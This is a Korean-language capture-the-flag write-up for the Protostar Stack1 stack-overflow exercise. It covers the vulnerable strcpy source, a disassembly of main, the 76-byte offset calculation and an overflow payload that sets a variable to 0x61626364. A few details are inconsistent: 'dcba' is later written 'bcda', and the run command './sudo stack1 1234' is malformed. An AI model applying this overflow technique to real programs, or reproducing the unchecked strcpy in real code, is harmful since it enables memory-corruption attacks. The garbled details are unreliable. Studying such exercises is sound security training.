Protostar-Stack1 (Buffer Over flow)
먼저 문제의 소스코드는 다음과 같다.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
먼저 컴파일 시켜 실행시켜보자.
gcc -z execstack -w -no-pie -o stack1 stack1.c
이후 실행을 시키면 다음과 같은 문구가 나온다.
소스코드와 함께 분석을 하면 argument 가 1일때 위와 같은 문구를 출력시킨다.
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
argc가 1이 아니게 하려면 실행을 시킬때 다음과 같이 입려해야 한다.
./sudo stack1 1234
argc가 1이 아니여야 하기에 뒤에 추가로 값을 넣어 함수를 호출할때 입력되는 값이 1이 아니게 해야한다는 것이다.
그러면 정상 실행이 되므로 다음과 같은 화면이 뜬다.
다시 한번 문제 소스코드를 봐보자.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
여기서 주목해야할 것은 modified 값이다.
변수 modified 값은 0으로 선언되며 이 변수가 0x61626364 일때 "you have correctly got the variable to the right value\n" 구문이 출력된다.
다음으로 주목해야 할 부분은 strcpy 함수이다. Buffer Over Flow 의 취약점이 존재한다.
Strcpy 함수는 길이 검사를 하지 않고 데이터를 복사하는 함수이므로 입력자의 값을 무한대로 넣을 수 있다.
결국은 Stack1또한 Buffer Over Flow 공격 기법들을 통해 문제를 해결해야 한다.
먼저 pwngdb를 통해 분석해 보자.
0x0000000000401156 <+0>: push rbp
0x0000000000401157 <+1>: mov rbp,rsp
0x000000000040115a <+4>: sub rsp,0x60
0x000000000040115e <+8>: mov DWORD PTR [rbp-0x54],edi
0x0000000000401161 <+11>: mov QWORD PTR [rbp-0x60],rsi
0x0000000000401165 <+15>: cmp DWORD PTR [rbp-0x54],0x1
0x0000000000401169 <+19>: jne 0x401184 <main+46>
0x000000000040116b <+21>: lea rax,[rip+0xe96] # 0x402008
0x0000000000401172 <+28>: mov rsi,rax
0x0000000000401175 <+31>: mov edi,0x1
0x000000000040117a <+36>: mov eax,0x0
0x000000000040117f <+41>: call 0x401050 <errx@plt>
0x0000000000401184 <+46>: mov DWORD PTR [rbp-0x4],0x0
0x000000000040118b <+53>: mov rax,QWORD PTR [rbp-0x60]
0x000000000040118f <+57>: add rax,0x8
0x0000000000401193 <+61>: mov rdx,QWORD PTR [rax]
0x0000000000401196 <+64>: lea rax,[rbp-0x50]
0x000000000040119a <+68>: mov rsi,rdx
0x000000000040119d <+71>: mov rdi,rax
0x00000000004011a0 <+74>: call 0x401030 <strcpy@plt>
0x00000000004011a5 <+79>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004011a8 <+82>: cmp eax,0x61626364
0x00000000004011ad <+87>: jne 0x4011c0 <main+106>
0x00000000004011af <+89>: lea rax,[rip+0xe72] # 0x402028
0x00000000004011b6 <+96>: mov rdi,rax
0x00000000004011b9 <+99>: call 0x401040 <puts@plt>
0x00000000004011be <+104>: jmp 0x4011d9 <main+131>
0x00000000004011c0 <+106>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004011c3 <+109>: mov esi,eax
0x00000000004011c5 <+111>: lea rax,[rip+0xe93] # 0x40205f
0x00000000004011cc <+118>: mov rdi,rax
0x00000000004011cf <+121>: mov eax,0x0
0x00000000004011d4 <+126>: call 0x401060 <printf@plt>
0x00000000004011d9 <+131>: mov eax,0x0
0x00000000004011de <+136>: leave
0x00000000004011df <+137>: ret
해당부분에서 cmp를 통해 비교하는 걸 보아 이쪽 부근에 modified 함수를 찾을 수 있을 것이다.
그렇다면
eax에 저장하여 비교할 수 있도록 역할을 맡는 rbp-0x4 가 될 것이다.
다음으로 buffer에 위치를 찾아 스택간의 거리를 계산해야 한다.
위에를 보면 rax에 [rbp - 0x50]의 주소를 가져온다.
그러고 rsi <-- rdx ,, rdi <---- rax 로 형성되는 데
rsi 와 rdi는 source index 와 destination index를 의미한다.
쉽게 말하자면 출발점 rsi ---> rdi 이렇게 생각하면 편하다.
결국 rdi 에 저장하는 값은 rax이며 이 rax 는 rbp-0x50 을 뜻한다.
결국 rbp-0x50은 buffer을 의미하는 것으로 볼 수 있다.
스택 구조는
buffer = rbp-0x50
modified = rbp-0x4
로 되어 있을 것이다.
이에 거리를 계산하자면 16진수 계산기로 찾고 10진수로 변환시키면 된다.
0x50 - 0x4 == 4C (16진수) ---> 76 (10진수)
1바이트인 문자 'A' 76개를 입력하여 실행시키면 modified 위치 직전까지 스택이 쌓여 modified 까지 갈 수 있을 것이다.
--->(int modified 값은 4byte 여야 하므로 다 덮으려면 'A' * 76 + 'B' * 4 를 통해 총 80 byte를 넣어야 한다.)
python을 통해 print('A' * 76 + 'B' * 4) 을 실행시키고 복사하여 실행시켜보자. (pwndbg에서..)
main + 82에 중단점을 걸어 실행시켰다.
이후 eax에 값을 확인해보자.
info reg $eax
위와 같이 값이 바뀌는 걸 확인할 수 있다.
이를 통해 eax에 저장되어있는 값이 eax 0x61626364 로 변경하면 된다는 것이다.
0x61626364는 abcd 로 나타낼 수 있다.
** 메모리 상에서 스택에서 데이터를 읽을때 거꾸로 값을 읽어 내리기에 dcba로 넣어야 한다.
즉 A 76개에 bcda를 끝에 입력하면 modified 값이 변경되어 문제를 풀어낼 수 있을 것이다.
continue를 통해 프로그램을 계속 실행시키면
원하는 문자열을 띄울 수 있게 된다.
문제 해결 끝 !